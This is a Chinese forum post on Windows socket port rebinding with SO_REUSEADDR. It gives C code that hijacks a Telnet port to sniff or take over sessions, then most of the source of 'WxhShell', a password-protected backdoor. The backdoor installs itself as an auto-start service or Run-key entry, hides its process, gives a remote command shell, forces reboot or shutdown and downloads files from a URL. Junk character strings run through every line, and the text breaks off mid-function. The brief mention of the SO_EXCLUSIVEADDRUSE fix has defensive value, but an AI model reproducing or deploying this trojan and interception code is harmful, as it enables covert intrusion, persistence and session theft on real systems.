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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: KJs/4oR;  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); K<g<xW*X  
}~akVh`3  
  saddr.sin_family = AF_INET; qs|{  
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  saddr.sin_addr.s_addr = htonl(INADDR_ANY); z2 m(<zb  
q b[UA5S\`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q!y6 K*  
CD"D^\z  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Z=|NoDZ  
)o;oOPT!  
  这意味着什么?意味着可以进行如下的攻击: [2l2w[7Rid  
BB.^[:,dA  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 #J): N  
W[R^5{k`  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) A#@9|3  
Pc:5*H  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 vUNmN2pRJ  
JK/VIu&!  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,P.yl~'Al  
[J-uvxD  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 |Q\O% cb  
.:U`4 ->E  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ih[!v"bv  
)/vse5EG+  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 brpsZU  
i*\\j1mf  
  #include <5t2+D]]}  
  #include >69-[#P!  
  #include =U- w!uW  
  #include    q[ -YXO  
  DWORD WINAPI ClientThread(LPVOID lpParam);   n]Z() "D  
  int main() ~#SLb=K   
  { oWP3Y.  
  WORD wVersionRequested; = 9K5f# ;e  
  DWORD ret; =uil3:,[S  
  WSADATA wsaData; vWh]1G#'p[  
  BOOL val; QrSF1y'd  
  SOCKADDR_IN saddr; 6dlV:f_\y  
  SOCKADDR_IN scaddr; t8:QK9|1  
  int err; .VG5 / 6zp  
  SOCKET s; N\nxo0sl  
  SOCKET sc; HVLj(_ A  
  int caddsize; gbvMS*KQz  
  HANDLE mt; _B6W:k|-7l  
  DWORD tid;   S@^o=B]]  
  wVersionRequested = MAKEWORD( 2, 2 ); ; VH:dg  
  err = WSAStartup( wVersionRequested, &wsaData ); 5BAGIO<w  
  if ( err != 0 ) { 7mT iO?/y<  
  printf("error!WSAStartup failed!\n"); l RM7s(^l  
  return -1; M7PG s-l  
  } H)rE-7(f!  
  saddr.sin_family = AF_INET; ~C31=\$  
   hVe39BBtO  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 d #vo)>  
ur@"wcl"V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); p*5QV  
  saddr.sin_port = htons(23); oQL$X3S  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) WXmR{za   
  { DV!10NqUr  
  printf("error!socket failed!\n"); @ i*It Hk  
  return -1; pW,)yo4  
  } 7 /7,55  
  val = TRUE; $TZjSZ1w  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 #e*jP&1S  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 9=5xt;mEs}  
  { /!A?>#O&.  
  printf("error!setsockopt failed!\n"); O]cuJp  
  return -1; {W11+L{8  
  } aUYq~E tj  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; ,>Yl(=&  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o$rA;^2X  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y=$PsDh!  
DOB#PI [/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) I3^}$#>  
  { <_ruVy0]  
  ret=GetLastError(); {^*K@c  
  printf("error!bind failed!\n"); ;^f ;<  
  return -1; CBKLct>  
  } T)lkT?  
  listen(s,2); =~P)7D6  
  while(1) 0@LC8Bz+'  
  { l#|wF$J  
  caddsize = sizeof(scaddr); pybE0]   
  //接受连接请求 #<o=W#[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); X4dxH_@  
  if(sc!=INVALID_SOCKET) ^hRx{A  
  { 8~j1  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); k}hTSL  
  if(mt==NULL) G<W;HMj2  
  { m'PU0x  
  printf("Thread Creat Failed!\n"); ]y\Wc0 q  
  break; _L% =Q ulu  
  } h]>7Dl]  
  } Rc2JgV  
  CloseHandle(mt); (TTS-(  
  } r~YxtBZH+  
  closesocket(s); xtFGj,N  
  WSACleanup(); W!o|0u!D  
  return 0; 3k# h!Z  
  }   Xx?~%o6  
  DWORD WINAPI ClientThread(LPVOID lpParam) )N3XbbV  
  { t b>At*tO  
  SOCKET ss = (SOCKET)lpParam; 'B9q&k%<  
  SOCKET sc; nw,XA0M3  
  unsigned char buf[4096]; P<C=9@`!  
  SOCKADDR_IN saddr; mkuK$Mj  
  long num; N!%[.3o\K  
  DWORD val; n`.JI(|  
  DWORD ret; ^R h`XE  
  //如果是隐藏端口应用的话,可以在此处加一些判断 =Q~@dP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   0Z1';A3  
  saddr.sin_family = AF_INET; Id^)WEK4  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,(;]8G-Yj  
  saddr.sin_port = htons(23); :y1,OR/k  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) W4p4[&c|  
  { Qpocj:  
  printf("error!socket failed!\n"); a98J_^n  
  return -1; TOw;P:-  
  } {wh, "Ok_  
  val = 100; G Q\;f  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jT*?Z:U  
  { 7-VP)|L#G  
  ret = GetLastError(); *X\J[$!  
  return -1; 0q o]nw  
  } 3W3)%[ 5  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) k*K.ZS688  
  { uJSzz:\  
  ret = GetLastError(); e]*@|e4b  
  return -1; k"F\4M  
  } 2#Du5d  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) !:3X{)4  
  { cD ?'lB-  
  printf("error!socket connect failed!\n"); fk2p}  
  closesocket(sc); L>&9+<-B  
  closesocket(ss); c&'5r OY~  
  return -1; O39f  
  } |ngv{g  
  while(1) fL~@v-l#~  
  { 5pH6]$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 S*V!t=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 SNc$!  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 |_m N:(3  
  num = recv(ss,buf,4096,0); opgNt o6$  
  if(num>0) @tlWyUju  
  send(sc,buf,num,0); B^@X1EE  
  else if(num==0) Xbu P_U'  
  break; ihd^P]  
  num = recv(sc,buf,4096,0); UsgrI>|l  
  if(num>0) TjS &V  
  send(ss,buf,num,0); O+"a 0:GM  
  else if(num==0) 3(`P x}  
  break; }"M5"?  
  } k]rc -c-  
  closesocket(ss); r2m&z%N &  
  closesocket(sc); \k3EFSm  
  return 0 ; 1#KBf[0  
  } ^&KpvQNW_  
C."\ a_p  
;: 0<(!^*  
========================================================== k:8NOx|s"  
k [iT']  
下边附上一个代码,,WXhSHELL dy]ZS<Hz8G  
<72q^w  
========================================================== TTGWOC  
\)i,`bz  
#include "stdafx.h" qIwsK\^p  
O=}d:yZb!  
#include <stdio.h> Sq]QRI/  
#include <string.h> -tA_"q'^  
#include <windows.h> Mc{-2  
#include <winsock2.h> z) x.6  
#include <winsvc.h> XD Q<28^  
#include <urlmon.h> dP?QPky{9  
]G Blads  
#pragma comment (lib, "Ws2_32.lib") W<:x4gBa  
#pragma comment (lib, "urlmon.lib") <"yL(s^u"  
.'b| pd  
#define MAX_USER   100 // 最大客户端连接数 JnLF61   
#define BUF_SOCK   200 // sock buffer EMzJyGt7  
#define KEY_BUFF   255 // 输入 buffer uC%mGZ a  
?5;N=\GQ  
#define REBOOT     0   // 重启 RZ|M;c  
#define SHUTDOWN   1   // 关机 C!U$<_I\2  
> D%  
#define DEF_PORT   5000 // 监听端口 ! ~tf0aY  
Q5HSik4  
#define REG_LEN     16   // 注册表键长度 \_x~lRqJJ  
#define SVC_LEN     80   // NT服务名长度  54#P  
FuC \qF  
// 从dll定义API xdh%mG:?  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ;;+h4O )  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #gVWLm<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SqZ .}s  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Qna*K7kv  
fr`Q 5!0  
// wxhshell配置信息 EiVVVmm!  
struct WSCFG { _& r19pY  
  int ws_port;         // 监听端口 AdRp{^w  
  char ws_passstr[REG_LEN]; // 口令 ]QGo(+  
  int ws_autoins;       // 安装标记, 1=yes 0=no \1hQ7:f;\  
  char ws_regname[REG_LEN]; // 注册表键名 6!SW]#sD  
  char ws_svcname[REG_LEN]; // 服务名 O8~RfB  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 f)mOeD*u|  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 0Oa&vx  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "^)GnK +-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no b[J0+l\!"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /=g/{&3[a>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Yl =-j  
Z!3R  
}; 8nwps(3  
<[K3Prf C  
// default Wxhshell configuration @`ii3&W4  
struct WSCFG wscfg={DEF_PORT, Dus!Ki~8(t  
    "xuhuanlingzhe", 0lV;bVa%  
    1, Mh MXn;VKj  
    "Wxhshell", fL*+[v4  
    "Wxhshell", }<zbx*!  
            "WxhShell Service", a#l ytp  
    "Wrsky Windows CmdShell Service", rBOH9L  
    "Please Input Your Password: ", Z5 7.+z<  
  1, YFDOp *  
  "http://www.wrsky.com/wxhshell.exe",  DTa!vg  
  "Wxhshell.exe" <s%Ft  
    };  : 76zRF  
8`6G_:&X  
// 消息定义模块 2A:&Cqo  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; WNt':w^_  
char *msg_ws_prompt="\n\r? for help\n\r#>"; w[$oH^7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m6#a {  
char *msg_ws_ext="\n\rExit."; 'Va<GHr>+  
char *msg_ws_end="\n\rQuit."; .PV(MV  
char *msg_ws_boot="\n\rReboot..."; _Tm]tlV  
char *msg_ws_poff="\n\rShutdown..."; \(--$9  
char *msg_ws_down="\n\rSave to "; /pV N1Yt  
3D^cPkX  
char *msg_ws_err="\n\rErr!"; qHT73_R  
char *msg_ws_ok="\n\rOK!"; }=Xlac_U  
gAVD-]`  
char ExeFile[MAX_PATH]; Q @[gj:w  
int nUser = 0; O<#8R\v  
HANDLE handles[MAX_USER]; p5% %k-  
int OsIsNt; /nv+*+Q?d  
: dNJ2&kJ  
SERVICE_STATUS       serviceStatus; Gpi_p  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 4LW~  
9tb-;|  
// 函数声明 bZr,jLEf  
int Install(void); ?1zGs2Qs  
int Uninstall(void); ^;F5ymb3U  
int DownloadFile(char *sURL, SOCKET wsh); +25=u|#4r  
int Boot(int flag); e-OKv#]  
void HideProc(void); V.6pfL  
int GetOsVer(void); 8I Ip,#%v  
int Wxhshell(SOCKET wsl); OCq5}%yU&i  
void TalkWithClient(void *cs); Y]5spqG  
int CmdShell(SOCKET sock); 5W$Jxuyqj  
int StartFromService(void); &n#yxv4  
int StartWxhshell(LPSTR lpCmdLine); BO7XN;  
J Vxja<43  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); q"oNFHYPDs  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); W\j)Vg__e  
TD%L`Gk  
// 数据结构和表定义 B?yj U[/R  
SERVICE_TABLE_ENTRY DispatchTable[] = <1B+@  
{ [^7P ]olW  
{wscfg.ws_svcname, NTServiceMain}, 42p1P6d  
{NULL, NULL} KV8<'g+2?  
}; qj `C6_?  
|)C *i  
// 自我安装 $rTb'8  
int Install(void) 8Lgm50bs  
{ S4?WR+:h  
  char svExeFile[MAX_PATH]; OZd (~E  
  HKEY key; yimK"4!j5A  
  strcpy(svExeFile,ExeFile); e /1x/v'  
+95v=[t#Ut  
// 如果是win9x系统,修改注册表设为自启动 Yi)s=Q:  
if(!OsIsNt) { :YOo"3.]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %K.rrn M  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); N3*1,/,l .  
  RegCloseKey(key); F_m' 9KX4E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TI t\  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); HTz`$9  
  RegCloseKey(key); m(d|TwG{  
  return 0; t K/.9qP  
    } ;<thEWH;Y  
  } W amOg0  
} )B)f`(SA"<  
else { t1"#L_<e  
hvQXYo>TZx  
// 如果是NT以上系统,安装为系统服务 %4Qs|CM)m  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); {qbe ye!  
if (schSCManager!=0) :>r W`= e'  
{ uv<_.Jq]  
  SC_HANDLE schService = CreateService zx,9x*g  
  ( So8 Dwz?  
  schSCManager, T:zM]%Xh  
  wscfg.ws_svcname, i;s;:{cn  
  wscfg.ws_svcdisp, Pr(@&:v:  
  SERVICE_ALL_ACCESS, { PJ>gX$  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Gk/cP`  
  SERVICE_AUTO_START, HZ2W`wo  
  SERVICE_ERROR_NORMAL, {:#nrD"  
  svExeFile, >iRkhA=Vg  
  NULL, &"I csxG  
  NULL, Dg"szJ-   
  NULL, K)se$vb6  
  NULL, FpU8$o~r{  
  NULL Q;!rN)  
  ); m{?f,Q=u@  
  if (schService!=0) uwr7 .\7  
  { mo] l_'  
  CloseServiceHandle(schService); EApbaS}Up  
  CloseServiceHandle(schSCManager); 5ya^k{`+ZO  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); vp.?$(L^@/  
  strcat(svExeFile,wscfg.ws_svcname); ah_ >:x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 5%e+@X;j  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "}`)s_rt  
  RegCloseKey(key); S4[ #[w`=  
  return 0; _ZFEo< `'  
    }  o kA<  
  } %D8.uGsh  
  CloseServiceHandle(schSCManager); 3+s$K(%I  
} pMy:h   
} "y&`,s5}  
.UNV &R0  
return 1; !U>WAD9  
} vNrn]v=|}7  
Z b$]9(RS  
// 自我卸载 Qubu;[0+a  
int Uninstall(void) pr7lm5  
{ #v xq|$e  
  HKEY key; m%apGp'=1  
KR%WBvv   
if(!OsIsNt) { Qni`k)4  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `>`b;A4  
  RegDeleteValue(key,wscfg.ws_regname); |:JT+a1  
  RegCloseKey(key); Xa.8-a"hz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {, +c  
  RegDeleteValue(key,wscfg.ws_regname); Ez0zk9  
  RegCloseKey(key); KXK5\#+L  
  return 0; dpsc gW{M  
  } )7NI5x^$  
} $--+M D29Q  
} 5B4/2q=  
else { X~c?C-fV  
i!e8-gVMP&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); C!Srv 7  
if (schSCManager!=0) \3^ue0  
{ 1O NkmVtL  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); gCC7L(1  
  if (schService!=0) t(-,mw  
  { zU+q03l8Ur  
  if(DeleteService(schService)!=0) { 0 }od Q#  
  CloseServiceHandle(schService); QAp]cE1ew  
  CloseServiceHandle(schSCManager); 0]iaNR %  
  return 0; #Gg^QJ*  
  } ,NS*`F[O  
  CloseServiceHandle(schService); O^row1D_  
  } lV %1I@[M  
  CloseServiceHandle(schSCManager); _W_< bI34  
} %kV7 <:y  
} ,>S7c  
,&WwADZ-s  
return 1; =urGs`\  
} 4}v|^_x-i  
T-6<qh  
// 从指定url下载文件 m 0vW<  
int DownloadFile(char *sURL, SOCKET wsh) 0FI |7  
{ -|KZOea  
  HRESULT hr; PBCGC^0{  
char seps[]= "/"; 4,c6VCw3+  
char *token; Z%B6J>;uM  
char *file; X(*O$B{ R  
char myURL[MAX_PATH]; bNVeL$'  
char myFILE[MAX_PATH]; w,FPL&{  
1VlU'qY  
strcpy(myURL,sURL); fM4B.45j  
  token=strtok(myURL,seps); I*3}erT  
  while(token!=NULL) z_fjmqa?  
  { -HQbvXAS  
    file=token; {D Q%fneN4  
  token=strtok(NULL,seps); xi(\=LbhY  
  } o25rKC=o  
Lm2) 3;ei  
GetCurrentDirectory(MAX_PATH,myFILE); UWvVYdy7  
strcat(myFILE, "\\"); ]{\ttb%GX  
strcat(myFILE, file); I"vkfi#=  
  send(wsh,myFILE,strlen(myFILE),0); X]D,kKasG  
send(wsh,"...",3,0); /0XMQy  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ikV;]ox  
  if(hr==S_OK) ~BmA!BZV`  
return 0; pOo016afmA  
else q -8G  
return 1; *??lwvJp  
* /n8T]s  
} _<F)G,=  
4A!]kj 5T  
// 系统电源模块 jTcv&`fAz  
int Boot(int flag) ZDW=>}~_y  
{ p|ink):  
  HANDLE hToken; Pa{  
  TOKEN_PRIVILEGES tkp; f(Of+>   
' 1gfXC  
  if(OsIsNt) { N8dxgh!,  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x~!|F5JbM  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); % ERcFI]G  
    tkp.PrivilegeCount = 1; ;: 2U}p^-  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; kY~4AH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); aY>v  
if(flag==REBOOT) { R; c9)>8L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) kygw}|, N  
  return 0; lbBWOx/|  
} }Ze*/ p-  
else { LD}~]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -9i7Ja  
  return 0; sE6>JaH  
} *c94'Tcl  
  } ujX; wGje  
  else { V^5d5Ao  
if(flag==REBOOT) { Km8aHc]O~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) D![v{0er  
  return 0; :]m.&r S,  
} + '_t)k^  
else { LnI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 4?'vP'  
  return 0; k6;bUOo  
} M}V!;o<t^  
} Ic0Y  
gVOAB-nw  
return 1; 0<-E)\:[g  
} WK>|IgK  
^Fco'nlM  
// win9x进程隐藏模块 J{1H$[W~}  
void HideProc(void) -SrZ^  
{ F^ 75y?  
0 Uropam  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); PC#^L$cg}  
  if ( hKernel != NULL ) #_wq#rF  
  { $s/E } X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); >5t%_/yeB  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &3[oM)-V  
    FreeLibrary(hKernel); ^es]jng`  
  } W-=6:y#A  
tNi>TkC}`  
return; `x9Eo4(/  
} J, 9NVw$  
"tzu.V-  
// 获取操作系统版本 9Rnypzds  
int GetOsVer(void) }aVZ\PDg  
{ 3 !@  
  OSVERSIONINFO winfo; "d_wu#fO)  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); H4w\e#|  
  GetVersionEx(&winfo); k2U*dn"9U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?BnU0R_r]  
  return 1; (j&:  
  else ,yYcjs!=o  
  return 0; 4N,mcV  
}   EO&Q  
"]+g5G  
// 客户端句柄模块 JL1ajlm~  
int Wxhshell(SOCKET wsl) $v|W2k  
{ o8bdL<  
  SOCKET wsh; ^}_Ka//k  
  struct sockaddr_in client; WTJ 0Q0U  
  DWORD myID; 'u7-Qetj  
gsk? !D  
  while(nUser<MAX_USER) -Uwxmy+  
{ ;.A}c)b  
  int nSize=sizeof(client); @%]A,\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 4I$Y(E}  
  if(wsh==INVALID_SOCKET) return 1; AI-*5[w#A  
2*|T)OA`m,  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |1U_5w  
if(handles[nUser]==0) *2G6Q g F  
  closesocket(wsh); %=^/^[D  
else NBYJ'nA%;f  
  nUser++; ^,>w`8  
  } o|kykxcq  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5X)8Nwbc  
fK J-/{|  
  return 0; @NiuT%#c  
} /T w{JO#Q  
6_Fr\H  
// 关闭 socket P8tdT3*6/  
void CloseIt(SOCKET wsh) : uncOd.  
{ g^'h 4qOa  
closesocket(wsh); ,&P 4%N"  
nUser--; #Iw(+%D  
ExitThread(0); $ Habhw  
} jx: IK  
q< JCgO-F<  
// 客户端请求句柄 $TI^8 3  
void TalkWithClient(void *cs) i+Z)`  
{ O$,F ga  
)U@9dV7u  
  SOCKET wsh=(SOCKET)cs; utlr|m Xc  
  char pwd[SVC_LEN]; j/O~8o&  
  char cmd[KEY_BUFF]; i(}Pr A  
char chr[1]; pHV^K v#  
int i,j; r;#"j%z  
!6!)H8rX  
  while (nUser < MAX_USER) { 6Y9N= \`  
x[(6V'  
if(wscfg.ws_passstr) { ?b (iWq  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); PsC")JS  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); p}1i[//S  
  //ZeroMemory(pwd,KEY_BUFF); p['RV  
      i=0; RY , <*  
  while(i<SVC_LEN) { v"USD<   
)9]a  
  // 设置超时 ".?4`@7F\  
  fd_set FdRead; XUqorE  
  struct timeval TimeOut; Eb8pM>'qM  
  FD_ZERO(&FdRead); X?5{2ulrI  
  FD_SET(wsh,&FdRead); Hn|W3U  
  TimeOut.tv_sec=8; )4yP(6|lx  
  TimeOut.tv_usec=0; 8dGsV5"*  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); BI1M(d#1L"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ,>;21\D  
aZFpt/.d  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); a>wCBkD  
  pwd=chr[0]; Y6` xb`  
  if(chr[0]==0xd || chr[0]==0xa) { 4&iQo'  
  pwd=0; m2(>KMbi  
  break; S,#1^S  
  } OW7  
  i++; Ez3fL&*  
    } {w@qFE'b  
o`bch? ]  
  // 如果是非法用户,关闭 socket F-_u/C]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); d>QFmsh-  
} %~u]|q<{  
^P) f]GQx  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); D|- ]<r1"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); L5&M@YTH  
1- 2hh)  
while(1) { B `(jTL  
Q+:y  
  ZeroMemory(cmd,KEY_BUFF); ] ; w 2YR  
P`Np +E#I  
      // 自动支持客户端 telnet标准   %Bs. XW,  
  j=0; 2~4:rEPJ:  
  while(j<KEY_BUFF) { AZj&;!}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C/kf?:j  
  cmd[j]=chr[0]; ~iL^KeAp   
  if(chr[0]==0xa || chr[0]==0xd) { uo9#(6  
  cmd[j]=0; h0{X$&:  
  break; dSM\:/t  
  } F.9}jd{  
  j++; hZ&KE78?  
    } Pfd1[~,  
FuhmLm'p  
  // 下载文件 broLC5hbQU  
  if(strstr(cmd,"http://")) { rB>ge]$.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); >!963>DR  
  if(DownloadFile(cmd,wsh)) n;g'?z=hy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5ZCu6 A  
  else CIudtY(:  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); NR4+&d  
  } w,UE0i9I  
  else { JJ: ku&Mb  
h4Crq Yxa_  
    switch(cmd[0]) { ?uWUs )9  
  ,81%8r  
  // 帮助  vy<W4  
  case '?': { +|A`~\@N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); J'44j;5&  
    break; 56v G R(  
  } OVg&?fiP  
  // 安装 ;%tFi  
  case 'i': { odv2(\  
    if(Install()) 7'0Vb !(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kiTC)S=])  
    else Ji4p6$ .j-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); >F/^y O  
    break; YQMWhC,8hy  
    } 0vY_  
  // 卸载 (3Db}Hnn  
  case 'r': { I2 [U#4n  
    if(Uninstall()) (s};MdXIz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,AP&N'  
    else qZ1'uln=C-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); x#1 Fi$.  
    break; c~ss^[qx|  
    }  RD$:.   
  // 显示 wxhshell 所在路径 %OQdUH4x  
  case 'p': { X9x`i  
    char svExeFile[MAX_PATH]; W06aj ~7Z  
    strcpy(svExeFile,"\n\r"); ?cU,%<r  
      strcat(svExeFile,ExeFile); |]\zlH"w  
        send(wsh,svExeFile,strlen(svExeFile),0); fY<#KM6X  
    break; Bf{u:TCK  
    } 7;>|9k  
  // 重启 q lc@$  
  case 'b': { !eX0Q 2  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i%2u>N i^  
    if(Boot(REBOOT)) GVY7`k"km  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ailq,  c  
    else { 6v`3/o  
    closesocket(wsh); GZ%vFje_ K  
    ExitThread(0); HC iRk1  
    } V_7\VKR  
    break; P9v(5Z00|d  
    } F}; R  
  // 关机 }b_Ob  
  case 'd': { #QNN;&L]R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AA\a#\#Z3  
    if(Boot(SHUTDOWN)) dN8Mfa)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q}BMvR 9w  
    else { pMfb(D"  
